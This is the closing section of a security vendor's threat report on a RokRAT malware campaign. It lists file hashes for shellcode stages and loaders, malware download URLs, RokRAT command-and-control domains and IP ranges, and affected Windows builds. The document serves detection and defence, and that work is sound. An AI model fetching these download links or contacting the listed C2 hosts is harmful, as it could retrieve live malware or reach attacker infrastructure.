2
43
b9d4702c1b72659f486259520f48b483
1st Malware (/images/20230912/43 xor(0x4B) Encoding Shellcode)
3
23
b18a8ea838b6760f4857843cafe5717d
2nd Malware (/upload/20240510/23 xor(0x8B) Encoding Shellcode+ PE)
4
MOVE
da2a5353400bd5f47178cd7dae7879c5
3rd Malware (/jsp/media/certi/move xor(0x53) Encoding Shellcode + PE)
5
ban04.bak
bd2d599ab51f9068d8c8eccadaca103d
ruby standalone 파일 (top_08.bak, content)
6
operating_system.rb
7f89a559f7fc716b9ae8b56b65cfc758
7
operating_system.rb
e85e1328c08f52594418b5fca381f7c6
8
operating_system.rb
bb31defd97a4acedbab7fc18e2b0f82b
9
operating_system.rb
dab4f366af50410467e6184e87082952
10
BWlu
63ce7af76ecdc200f3cbf5739368b126
1st Loader
11
tj0e
e9c7901e6ecf75b630e00b2389c1bbcc
1st Loader
12
jPV2
9bbfe7ce1f6229970cdbeeb804342a4d
1st Loader
13
mkhx
68c191b310be1c1dea5210504a14500b
1st Loader
14
LsnU
d72d2b96729ed2cbdb27b9459c25e6d8
1st Loader
15
YR13EG
d4219bc120730396ce03cbc23c2c7edb
2nd Loader
16
O57vGe
b672c263914d4e70b7989dd9fe8ecacd
2nd Loader
17
9PAKSd
56cc7a9ba1c267f30e88652cddd8832f
2nd Loader
18
V8ZnpK
742dff1c2d750c63f04ede4ea3765c5f
2nd Loader
19
b6DZlH
edcef6641d24bedd53a1e45547c8beba
RokRAT
20
suOygX
a389cb235c9d266ad65d01d16c89118d
RokRAT
21
gdVLZQ
24eef6e96fb9b37ea30858af142efd50
RokRAT
22
lAjlyq
c1dbc87e91fe377b08069d079b76a2ee
RokRAT

6.2. IP/Domain

NO
Type
Value
Notes
1
Domain
*mobonad.com (www[.]mobonad.com, img.mobonad.com)
2
Domain
http://img.mobonad[.]com/images/20230912/43
1st Malware Downlaod
3
Domain
www[.]dramaskin.co[.]kr/images/main/ban04.bak
ruby standalone File Download
4
Domain
hxxps://api.onedrive.com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBajh0Ynp6N19QRk5seTZBa1hrTzB0cVRQLTItP2U9d1FpQ2xn/root/content
ruby standalone File Download
5
Domain
cloud-api.yandex.net uploader[숫자][영문].disk.yandex.net
RokRAT C2 (yandex Cloud Service URL)
6
IP
84.32.131.214
7
IP
222.97.189.148
8
IP
213.180.204.127
9
IP
141.8.156.0/24
10
IP
141.8.157.0/24
11
IP
37.9.68.0/24
12
IP
87.250.241.0/24

7. [Appendix] Affected Windows Version

Product
Build Number
Windows 10 for 32-bit Systems
< 10.0.10240.20751
Windows Server 2022, 23H2 Edition (Server Core installation)
< 10.0.25398.1085
Windows 11 Version 23H2 for x64-based Systems
< 10.0.22631.4037
Windows 11 Version 23H2 for ARM64-based Systems
< 10.0.22631.4037
Windows 10 Version 22H2 for 32-bit Systems
< 10.0.19045.4780
Windows 10 Version 22H2 for ARM64-based Systems
< 10.0.19045.4780
Windows Server 2012 R2 (Server Core installation)
< 6.3.9600.22134
Windows Server 2012 R2 (Server Core installation)
< 1.001
Windows Server 2012 R2
< 6.3.9600.22134
Windows Server 2012 R2
< 1.001
Windows Server 2016 (Server Core installation)
< 10.0.14393.7259
Windows Server 2016
< 10.0.14393.7259
Windows 10 Version 1607 for x64-based Systems
< 10.0.14393.7259
Windows 10 Version 1607 for 32-bit Systems
< 10.0.14393.7259
Windows 10 for x64-based Systems
< 10.0.10240.20751
Windows 10 Version 22H2 for x64-based Systems
< 10.0.19045.4780
Windows 11 Version 22H2 for x64-based Systems
< 10.0.22621.4037
Windows 11 Version 22H2 for ARM64-based Systems
< 10.0.22621.4037
Windows 10 Version 21H2 for x64-based Systems
< 10.0.19044.4780
Windows 10 Version 21H2 for ARM64-based Systems
< 10.0.19044.4780
Windows 10 Version 21H2 for 32-bit Systems
< 10.0.19044.4780
Windows 11 version 21H2 for ARM64-based Systems
< 10.0.22000.3147
Windows 11 version 21H2 for x64-based Systems
< 10.0.22000.3147
Windows Server 2022 (Server Core installation)
< 10.0.20348.2655
Windows Server 2022
< 10.0.20348.2655
Windows Server 2019 (Server Core installation)
< 10.0.17763.6189
Windows Server 2019
< 10.0.17763.6189
Windows 10 Version 1809 for x64-based Systems
< 10.0.17763.6189
Windows 10 Version 1809 for 32-bit Systems
< 10.0.17763.6189
Windows 11 Version 24H2 for x64-based Systems
< 10.0.26100.1457
Windows 11 Version 24H2 for ARM64-based Systems
< 10.0.26100.1457
IGLOO Corp. 2024. All rights reserved.